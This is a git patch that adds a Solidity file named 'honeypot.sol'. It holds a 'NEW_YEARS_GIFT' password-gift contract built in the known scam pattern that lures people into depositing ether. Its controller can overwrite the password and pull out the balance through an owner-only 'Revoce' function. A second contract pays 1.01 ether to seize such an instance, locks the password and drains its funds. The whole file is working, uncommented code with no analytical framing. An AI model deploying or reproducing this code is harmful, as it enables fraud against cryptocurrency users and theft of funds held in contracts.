From 1fc61001b2283729a231dc0369460112447bc881 Mon Sep 17 00:00:00 2001
From: Shubhorup Biswas <shubhorup.biswas@dunyalabs.io>
Date: Mon, 27 Aug 2018 12:01:00 +0530
Subject: [PATCH] Added honeypot contract code

---
 honeypot.sol | 91 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 91 insertions(+)
 create mode 100644 honeypot.sol

diff --git a/honeypot.sol b/honeypot.sol
new file mode 100644
index 0000000..b415d6d
--- /dev/null
+++ b/honeypot.sol
@@ -0,0 +1,91 @@
+pragma solidity ^0.4.19;
+
+contract NEW_YEARS_GIFT
+{
+    string message;
+    
+    bool public passHasBeenSet = false;
+    
+    address public sender;
+    
+    bytes32 public hashPass;
+	
+	function() public payable{}
+    
+    function GetHash(bytes pass) public constant returns (bytes32) {return sha3(pass);}
+    
+    function SetPass(bytes32 hash)
+    public
+    payable
+    {
+        if( (!passHasBeenSet&&(msg.value > 1 ether)) || hashPass==0x0 )
+        {
+            hashPass = hash;
+            sender = msg.sender;
+        }
+    }
+    
+    function SetMessage(string _message)
+    public
+    {
+        if(msg.sender==sender)
+        {
+            message =_message;
+        }
+    }
+    
+    function GetGift(bytes pass)
+    external
+    payable
+    returns (string)
+    {
+        if(hashPass == sha3(pass))
+        {
+            msg.sender.transfer(this.balance);
+            return message;
+        }
+    }
+    
+    function Revoce()
+    public
+    payable
+    {
+        if(msg.sender==sender)
+        {
+            sender.transfer(this.balance);
+            message="";
+        }
+    }
+    
+    function PassHasBeenSet(bytes32 hash)
+    public
+    {
+        if(msg.sender==sender&&hash==hashPass)
+        {
+           passHasBeenSet=true;
+        }
+    }
+}
+
+contract passHasBeenSetCaller{
+    NEW_YEARS_GIFT public c;
+    address public owner;
+    
+    constructor() public {
+        owner = msg.sender;
+    }
+    
+    function() public payable{}
+    
+    function setup(address _address, bytes32 hash) public payable {
+        c = NEW_YEARS_GIFT(_address);
+        c.SetPass.value(1.01 ether)(hash);
+        c.PassHasBeenSet(hash);
+    }
+
+    function payout() public {
+        require(msg.sender == owner);
+        c.Revoce();
+        owner.transfer(this.balance);
+    }
+}